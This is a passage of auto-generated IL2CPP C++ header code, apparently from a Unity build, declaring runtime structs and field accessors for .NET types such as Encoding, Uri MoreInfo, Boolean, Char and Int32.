inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * get_exceptionFallback_2() const { return ___exceptionFallback_2; } inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 ** get_address_of_exceptionFallback_2() { return &___exceptionFallback_2; } inline void set_exceptionFallback_2(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * value) { ___exceptionFallback_2 = value; Il2CppCodeGenWriteBarrier((&___exceptionFallback_2), value); } inline static int32_t get_offset_of_s_InternalSyncObject_3() { return static_cast<int32_t>(offsetof(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63_StaticFields, ___s_InternalSyncObject_3)); } inline RuntimeObject * get_s_InternalSyncObject_3() const { return ___s_InternalSyncObject_3; } inline RuntimeObject ** get_address_of_s_InternalSyncObject_3() { return &___s_InternalSyncObject_3; } inline void set_s_InternalSyncObject_3(RuntimeObject * value) { ___s_InternalSyncObject_3 = value; Il2CppCodeGenWriteBarrier((&___s_InternalSyncObject_3), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // ENCODERFALLBACK_TDE342346D01608628F1BCEBB652D31009852CF63_H #ifndef ENCODING_T7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_H #define ENCODING_T7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Text.Encoding struct Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 : public RuntimeObject { public: // System.Int32 System.Text.Encoding::m_codePage int32_t ___m_codePage_9; // System.Globalization.CodePageDataItem System.Text.Encoding::dataItem CodePageDataItem_t6E34BEE9CCCBB35C88D714664633AF6E5F5671FB * ___dataItem_10; // System.Boolean System.Text.Encoding::m_deserializedFromEverett bool ___m_deserializedFromEverett_11; // System.Boolean System.Text.Encoding::m_isReadOnly bool ___m_isReadOnly_12; // System.Text.EncoderFallback System.Text.Encoding::encoderFallback EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * ___encoderFallback_13; // System.Text.DecoderFallback System.Text.Encoding::decoderFallback DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * ___decoderFallback_14; public: inline static int32_t get_offset_of_m_codePage_9() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___m_codePage_9)); } inline int32_t get_m_codePage_9() const { return ___m_codePage_9; } inline int32_t* get_address_of_m_codePage_9() { return &___m_codePage_9; } inline void set_m_codePage_9(int32_t value) { ___m_codePage_9 = value; } inline static int32_t get_offset_of_dataItem_10() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___dataItem_10)); } inline CodePageDataItem_t6E34BEE9CCCBB35C88D714664633AF6E5F5671FB * get_dataItem_10() const { return ___dataItem_10; } inline CodePageDataItem_t6E34BEE9CCCBB35C88D714664633AF6E5F5671FB ** get_address_of_dataItem_10() { return &___dataItem_10; } inline void set_dataItem_10(CodePageDataItem_t6E34BEE9CCCBB35C88D714664633AF6E5F5671FB * value) { ___dataItem_10 = value; Il2CppCodeGenWriteBarrier((&___dataItem_10), value); } inline static int32_t get_offset_of_m_deserializedFromEverett_11() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___m_deserializedFromEverett_11)); } inline bool get_m_deserializedFromEverett_11() const { return ___m_deserializedFromEverett_11; } inline bool* get_address_of_m_deserializedFromEverett_11() { return &___m_deserializedFromEverett_11; } inline void set_m_deserializedFromEverett_11(bool value) { ___m_deserializedFromEverett_11 = value; } inline static int32_t get_offset_of_m_isReadOnly_12() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___m_isReadOnly_12)); } inline bool get_m_isReadOnly_12() const { return ___m_isReadOnly_12; } inline bool* get_address_of_m_isReadOnly_12() { return &___m_isReadOnly_12; } inline void set_m_isReadOnly_12(bool value) { ___m_isReadOnly_12 = value; } inline static int32_t get_offset_of_encoderFallback_13() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___encoderFallback_13)); } inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * get_encoderFallback_13() const { return ___encoderFallback_13; } inline EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 ** get_address_of_encoderFallback_13() { return &___encoderFallback_13; } inline void set_encoderFallback_13(EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * value) { ___encoderFallback_13 = value; Il2CppCodeGenWriteBarrier((&___encoderFallback_13), value); } inline static int32_t get_offset_of_decoderFallback_14() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4, ___decoderFallback_14)); } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * get_decoderFallback_14() const { return ___decoderFallback_14; } inline DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 ** get_address_of_decoderFallback_14() { return &___decoderFallback_14; } inline void set_decoderFallback_14(DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * value) { ___decoderFallback_14 = value; Il2CppCodeGenWriteBarrier((&___decoderFallback_14), value); } }; struct Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields { public: // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::defaultEncoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___defaultEncoding_0; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::unicodeEncoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___unicodeEncoding_1; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::bigEndianUnicode Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___bigEndianUnicode_2; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::utf7Encoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___utf7Encoding_3; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::utf8Encoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___utf8Encoding_4; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::utf32Encoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___utf32Encoding_5; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::asciiEncoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___asciiEncoding_6; // System.Text.Encoding modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::latin1Encoding Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * ___latin1Encoding_7; // System.Collections.Hashtable modreq(System.Runtime.CompilerServices.IsVolatile) System.Text.Encoding::encodings Hashtable_t978F65B8006C8F5504B286526AEC6608FF983FC9 * ___encodings_8; // System.Object System.Text.Encoding::s_InternalSyncObject RuntimeObject * ___s_InternalSyncObject_15; public: inline static int32_t get_offset_of_defaultEncoding_0() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___defaultEncoding_0)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_defaultEncoding_0() const { return ___defaultEncoding_0; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_defaultEncoding_0() { return &___defaultEncoding_0; } inline void set_defaultEncoding_0(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___defaultEncoding_0 = value; Il2CppCodeGenWriteBarrier((&___defaultEncoding_0), value); } inline static int32_t get_offset_of_unicodeEncoding_1() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___unicodeEncoding_1)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_unicodeEncoding_1() const { return ___unicodeEncoding_1; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_unicodeEncoding_1() { return &___unicodeEncoding_1; } inline void set_unicodeEncoding_1(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___unicodeEncoding_1 = value; Il2CppCodeGenWriteBarrier((&___unicodeEncoding_1), value); } inline static int32_t get_offset_of_bigEndianUnicode_2() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___bigEndianUnicode_2)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_bigEndianUnicode_2() const { return ___bigEndianUnicode_2; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_bigEndianUnicode_2() { return &___bigEndianUnicode_2; } inline void set_bigEndianUnicode_2(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___bigEndianUnicode_2 = value; Il2CppCodeGenWriteBarrier((&___bigEndianUnicode_2), value); } inline static int32_t get_offset_of_utf7Encoding_3() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___utf7Encoding_3)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_utf7Encoding_3() const { return ___utf7Encoding_3; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_utf7Encoding_3() { return &___utf7Encoding_3; } inline void set_utf7Encoding_3(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___utf7Encoding_3 = value; Il2CppCodeGenWriteBarrier((&___utf7Encoding_3), value); } inline static int32_t get_offset_of_utf8Encoding_4() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___utf8Encoding_4)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_utf8Encoding_4() const { return ___utf8Encoding_4; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_utf8Encoding_4() { return &___utf8Encoding_4; } inline void set_utf8Encoding_4(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___utf8Encoding_4 = value; Il2CppCodeGenWriteBarrier((&___utf8Encoding_4), value); } inline static int32_t get_offset_of_utf32Encoding_5() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___utf32Encoding_5)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_utf32Encoding_5() const { return ___utf32Encoding_5; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_utf32Encoding_5() { return &___utf32Encoding_5; } inline void set_utf32Encoding_5(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___utf32Encoding_5 = value; Il2CppCodeGenWriteBarrier((&___utf32Encoding_5), value); } inline static int32_t get_offset_of_asciiEncoding_6() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___asciiEncoding_6)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_asciiEncoding_6() const { return ___asciiEncoding_6; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_asciiEncoding_6() { return &___asciiEncoding_6; } inline void set_asciiEncoding_6(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___asciiEncoding_6 = value; Il2CppCodeGenWriteBarrier((&___asciiEncoding_6), value); } inline static int32_t get_offset_of_latin1Encoding_7() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___latin1Encoding_7)); } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * get_latin1Encoding_7() const { return ___latin1Encoding_7; } inline Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 ** get_address_of_latin1Encoding_7() { return &___latin1Encoding_7; } inline void set_latin1Encoding_7(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * value) { ___latin1Encoding_7 = value; Il2CppCodeGenWriteBarrier((&___latin1Encoding_7), value); } inline static int32_t get_offset_of_encodings_8() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___encodings_8)); } inline Hashtable_t978F65B8006C8F5504B286526AEC6608FF983FC9 * get_encodings_8() const { return ___encodings_8; } inline Hashtable_t978F65B8006C8F5504B286526AEC6608FF983FC9 ** get_address_of_encodings_8() { return &___encodings_8; } inline void set_encodings_8(Hashtable_t978F65B8006C8F5504B286526AEC6608FF983FC9 * value) { ___encodings_8 = value; Il2CppCodeGenWriteBarrier((&___encodings_8), value); } inline static int32_t get_offset_of_s_InternalSyncObject_15() { return static_cast<int32_t>(offsetof(Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_StaticFields, ___s_InternalSyncObject_15)); } inline RuntimeObject * get_s_InternalSyncObject_15() const { return ___s_InternalSyncObject_15; } inline RuntimeObject ** get_address_of_s_InternalSyncObject_15() { return &___s_InternalSyncObject_15; } inline void set_s_InternalSyncObject_15(RuntimeObject * value) { ___s_InternalSyncObject_15 = value; Il2CppCodeGenWriteBarrier((&___s_InternalSyncObject_15), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // ENCODING_T7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_H #ifndef MOREINFO_T83B9EC79244C26B468C115E54C0BEF09BB2E05B5_H #define MOREINFO_T83B9EC79244C26B468C115E54C0BEF09BB2E05B5_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri_MoreInfo struct MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 : public RuntimeObject { public: // System.String System.Uri_MoreInfo::Path String_t* ___Path_0; // System.String System.Uri_MoreInfo::Fragment String_t* ___Fragment_1; // System.String System.Uri_MoreInfo::AbsoluteUri String_t* ___AbsoluteUri_2; // System.Int32 System.Uri_MoreInfo::Hash int32_t ___Hash_3; // System.String System.Uri_MoreInfo::RemoteUrl String_t* ___RemoteUrl_4; public: inline static int32_t get_offset_of_Path_0() { return static_cast<int32_t>(offsetof(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5, ___Path_0)); } inline String_t* get_Path_0() const { return ___Path_0; } inline String_t** get_address_of_Path_0() { return &___Path_0; } inline void set_Path_0(String_t* value) { ___Path_0 = value; Il2CppCodeGenWriteBarrier((&___Path_0), value); } inline static int32_t get_offset_of_Fragment_1() { return static_cast<int32_t>(offsetof(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5, ___Fragment_1)); } inline String_t* get_Fragment_1() const { return ___Fragment_1; } inline String_t** get_address_of_Fragment_1() { return &___Fragment_1; } inline void set_Fragment_1(String_t* value) { ___Fragment_1 = value; Il2CppCodeGenWriteBarrier((&___Fragment_1), value); } inline static int32_t get_offset_of_AbsoluteUri_2() { return static_cast<int32_t>(offsetof(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5, ___AbsoluteUri_2)); } inline String_t* get_AbsoluteUri_2() const { return ___AbsoluteUri_2; } inline String_t** get_address_of_AbsoluteUri_2() { return &___AbsoluteUri_2; } inline void set_AbsoluteUri_2(String_t* value) { ___AbsoluteUri_2 = value; Il2CppCodeGenWriteBarrier((&___AbsoluteUri_2), value); } inline static int32_t get_offset_of_Hash_3() { return static_cast<int32_t>(offsetof(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5, ___Hash_3)); } inline int32_t get_Hash_3() const { return ___Hash_3; } inline int32_t* get_address_of_Hash_3() { return &___Hash_3; } inline void set_Hash_3(int32_t value) { ___Hash_3 = value; } inline static int32_t get_offset_of_RemoteUrl_4() { return static_cast<int32_t>(offsetof(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5, ___RemoteUrl_4)); } inline String_t* get_RemoteUrl_4() const { return ___RemoteUrl_4; } inline String_t** get_address_of_RemoteUrl_4() { return &___RemoteUrl_4; } inline void set_RemoteUrl_4(String_t* value) { ___RemoteUrl_4 = value; Il2CppCodeGenWriteBarrier((&___RemoteUrl_4), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // MOREINFO_T83B9EC79244C26B468C115E54C0BEF09BB2E05B5_H #ifndef URIHELPER_TA44F3057604BAA4E6EF06A8EE4E6825D471592DF_H #define URIHELPER_TA44F3057604BAA4E6EF06A8EE4E6825D471592DF_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriHelper struct UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF : public RuntimeObject { public: public: }; struct UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_StaticFields { public: // System.Char[] System.UriHelper::HexUpperChars CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___HexUpperChars_0; public: inline static int32_t get_offset_of_HexUpperChars_0() { return static_cast<int32_t>(offsetof(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_StaticFields, ___HexUpperChars_0)); } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* get_HexUpperChars_0() const { return ___HexUpperChars_0; } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2** get_address_of_HexUpperChars_0() { return &___HexUpperChars_0; } inline void set_HexUpperChars_0(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* value) { ___HexUpperChars_0 = value; Il2CppCodeGenWriteBarrier((&___HexUpperChars_0), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIHELPER_TA44F3057604BAA4E6EF06A8EE4E6825D471592DF_H #ifndef VALUETYPE_T4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_H #define VALUETYPE_T4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.ValueType struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF : public RuntimeObject { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif // Native definition for P/Invoke marshalling of System.ValueType struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_marshaled_pinvoke { }; // Native definition for COM marshalling of System.ValueType struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_marshaled_com { }; #endif // VALUETYPE_T4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_H #ifndef __STATICARRAYINITTYPESIZEU3D128_T4A42759E6E25B0C61E6036A661F4344DE92C2905_H #define __STATICARRAYINITTYPESIZEU3D128_T4A42759E6E25B0C61E6036A661F4344DE92C2905_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // <PrivateImplementationDetails>___StaticArrayInitTypeSizeU3D128 struct __StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905 { public: union { struct { union { }; }; uint8_t __StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905__padding[128]; }; public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // __STATICARRAYINITTYPESIZEU3D128_T4A42759E6E25B0C61E6036A661F4344DE92C2905_H #ifndef __STATICARRAYINITTYPESIZEU3D32_T5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA_H #define __STATICARRAYINITTYPESIZEU3D32_T5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // <PrivateImplementationDetails>___StaticArrayInitTypeSizeU3D32 struct __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA { public: union { struct { union { }; }; uint8_t __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA__padding[32]; }; public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // __STATICARRAYINITTYPESIZEU3D32_T5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA_H #ifndef BOOLEAN_TB53F6830F670160873277339AA58F15CAED4399C_H #define BOOLEAN_TB53F6830F670160873277339AA58F15CAED4399C_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Boolean struct Boolean_tB53F6830F670160873277339AA58F15CAED4399C { public: // System.Boolean System.Boolean::m_value bool ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C, ___m_value_0)); } inline bool get_m_value_0() const { return ___m_value_0; } inline bool* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(bool value) { ___m_value_0 = value; } }; struct Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields { public: // System.String System.Boolean::TrueString String_t* ___TrueString_5; // System.String System.Boolean::FalseString String_t* ___FalseString_6; public: inline static int32_t get_offset_of_TrueString_5() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields, ___TrueString_5)); } inline String_t* get_TrueString_5() const { return ___TrueString_5; } inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; } inline void set_TrueString_5(String_t* value) { ___TrueString_5 = value; Il2CppCodeGenWriteBarrier((&___TrueString_5), value); } inline static int32_t get_offset_of_FalseString_6() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields, ___FalseString_6)); } inline String_t* get_FalseString_6() const { return ___FalseString_6; } inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; } inline void set_FalseString_6(String_t* value) { ___FalseString_6 = value; Il2CppCodeGenWriteBarrier((&___FalseString_6), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // BOOLEAN_TB53F6830F670160873277339AA58F15CAED4399C_H #ifndef BYTE_TF87C579059BD4633E6840EBBBEEF899C6E33EF07_H #define BYTE_TF87C579059BD4633E6840EBBBEEF899C6E33EF07_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Byte struct Byte_tF87C579059BD4633E6840EBBBEEF899C6E33EF07 { public: // System.Byte System.Byte::m_value uint8_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Byte_tF87C579059BD4633E6840EBBBEEF899C6E33EF07, ___m_value_0)); } inline uint8_t get_m_value_0() const { return ___m_value_0; } inline uint8_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(uint8_t value) { ___m_value_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // BYTE_TF87C579059BD4633E6840EBBBEEF899C6E33EF07_H #ifndef CHAR_TBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_H #define CHAR_TBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Char struct Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9 { public: // System.Char System.Char::m_value Il2CppChar ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9, ___m_value_0)); } inline Il2CppChar get_m_value_0() const { return ___m_value_0; } inline Il2CppChar* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(Il2CppChar value) { ___m_value_0 = value; } }; struct Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_StaticFields { public: // System.Byte[] System.Char::categoryForLatin1 ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* ___categoryForLatin1_3; public: inline static int32_t get_offset_of_categoryForLatin1_3() { return static_cast<int32_t>(offsetof(Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_StaticFields, ___categoryForLatin1_3)); } inline ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* get_categoryForLatin1_3() const { return ___categoryForLatin1_3; } inline ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821** get_address_of_categoryForLatin1_3() { return &___categoryForLatin1_3; } inline void set_categoryForLatin1_3(ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* value) { ___categoryForLatin1_3 = value; Il2CppCodeGenWriteBarrier((&___categoryForLatin1_3), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // CHAR_TBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_H #ifndef ENUM_T2AF27C02B8653AE29442467390005ABC74D8F521_H #define ENUM_T2AF27C02B8653AE29442467390005ABC74D8F521_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Enum struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521 : public ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF { public: public: }; struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_StaticFields { public: // System.Char[] System.Enum::enumSeperatorCharArray CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___enumSeperatorCharArray_0; public: inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast<int32_t>(offsetof(Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_StaticFields, ___enumSeperatorCharArray_0)); } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; } inline void set_enumSeperatorCharArray_0(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* value) { ___enumSeperatorCharArray_0 = value; Il2CppCodeGenWriteBarrier((&___enumSeperatorCharArray_0), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif // Native definition for P/Invoke marshalling of System.Enum struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_marshaled_pinvoke { }; // Native definition for COM marshalling of System.Enum struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_marshaled_com { }; #endif // ENUM_T2AF27C02B8653AE29442467390005ABC74D8F521_H #ifndef INT16_T823A20635DAF5A3D93A1E01CFBF3CBA27CF00B4D_H #define INT16_T823A20635DAF5A3D93A1E01CFBF3CBA27CF00B4D_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Int16 struct Int16_t823A20635DAF5A3D93A1E01CFBF3CBA27CF00B4D { public: // System.Int16 System.Int16::m_value int16_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Int16_t823A20635DAF5A3D93A1E01CFBF3CBA27CF00B4D, ___m_value_0)); } inline int16_t get_m_value_0() const { return ___m_value_0; } inline int16_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(int16_t value) { ___m_value_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // INT16_T823A20635DAF5A3D93A1E01CFBF3CBA27CF00B4D_H #ifndef INT32_T585191389E07734F19F3156FF88FB3EF4800D102_H #define INT32_T585191389E07734F19F3156FF88FB3EF4800D102_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Int32 struct Int32_t585191389E07734F19F3156FF88FB3EF4800D102 { public: // System.Int32 System.Int32::m_value int32_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Int32_t585191389E07734F19F3156FF88FB3EF4800D102, ___m_value_0)); } inline int32_t get_m_value_0() const { return ___m_value_0; } inline int32_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(int32_t value) { ___m_value_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // INT32_T585191389E07734F19F3156FF88FB3EF4800D102_H #ifndef INTPTR_T_H #define INTPTR_T_H #ifdef __clang__ #pragma clang diagnostic push 